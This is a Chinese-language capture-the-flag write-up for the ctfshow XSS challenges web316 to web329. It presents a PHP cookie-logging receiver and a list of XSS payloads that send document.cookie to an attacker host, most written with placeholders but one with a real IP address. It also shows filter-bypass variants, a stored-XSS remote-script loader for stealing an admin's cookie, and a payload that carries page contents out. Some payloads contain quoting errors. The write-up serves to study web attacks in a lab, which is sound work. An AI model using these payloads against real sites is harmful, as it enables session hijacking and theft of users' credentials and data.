xss(ctfshow)

  1. web316
  2. web317
  3. web318~319
  4. web320~321
  5. web322~326
  6. web327
  7. web328
  8. web 329

web316

这关没有过滤,但有bot拦截,如果我们直接用

<script>var x=document.cookie;alert(x);</script>

会发现弹出you are not admin,所以我们只能将数据外带

方式1:xss平台

https://xsshs.cn/,https://hk.sb/,https://xss.pt/,http://xsscom.com https://xs.sb 

在xss平台创建项目,选择默认模块即可,复制生成的xss代码,复制到题目留言框中,刷新下页面,然后在平台查看项目

方式二:vps

服务器可以起nc,可以用python起一个临时的服务器,也可以直接通过php自动接收脚本:

在自己的服务器上放一个php代码:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

收集一下可用的姿势:

<script>
var x=document.createElement("img"); x.src="http://xxx/fff.php?cookie="+document.cookie;
</script>
<script>window.open('http://xxx/fff.php?cookie='+document.cookie)</script>
<script>window.location.href=http://xxx/fff.php?cookie='+document.cookie</script>
<script>document.location.href=http://xxx/fff.php?cookie='+document.cookie</script>
<script>location.href='http://xxx/fff.php?cookie='+document.cookie</script>
<input onfocus="window.open('http://xxx/fff.php?cookie='+document.cookie)" autofocus>
<svg onload="window.open('http://xxx/fff.php?cookie='+document.cookie)">
<iframe onload="window.open('http://xxx/fff.php?cookie='+document.cookie)"></iframe>
<body onload="window.open('http://xxx/fff.php?cookie='+document.cookie)">

更多姿势可以参考:https://www.freebuf.com/articles/web/340080.html

web317

应该是过滤了script,还有很多标签都可以用

web318~319

过滤了img

web320~321

过滤空格,可以用%09、tab、/、/**/来绕过

<svg/onload="window.open('http://47.113.199.107/fff.php?cookie='+document.cookie)">

web322~326

过滤iframe,xss,空格,分号,逗号

web327

存储型xss

界面变成了这样

一点就是收件人必须是admin才能发送成功,然后发件人和信的内容都填payload即可

web328

在用户管理处显示要 admin 权限,且显示会显示所有的用户名密码,说明所有的用户名密码会存储在某个地方,而这个地方就会触发xss

这一关就是要通过xss获取到管理员的cookie

有两种方法

1、在自己的服务器上放一个php文件和js文件

js-被加载到管理员页面

var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.cookie;
document.body.append(img);

php就是和前面一样,接收js传来的cookie并保存

注册处填入:

<script src=http://your-domain/test.js></script>

2、将cookie直接打到php

<script>location.href='http://ip/x.php?cookie='+document.cookie</script>
//这里不能用body标签,可以用script标签

接收到cookie:

然后burp抓管理员页面的包,修改cookie

然后一个一个放包,改cookie

拿到flag:

因为页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。

或者可以直接在浏览器改一次cookie就行了

web 329

cookie设置了有效期,拿到cookie时就已经失效了,需要换个思路,既然可以通过运行js脚本拿到cookie,也可以拿到用户管理页面的内容,把flag带出来

<script>window.open('http://xxx/fff.php?cookie='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。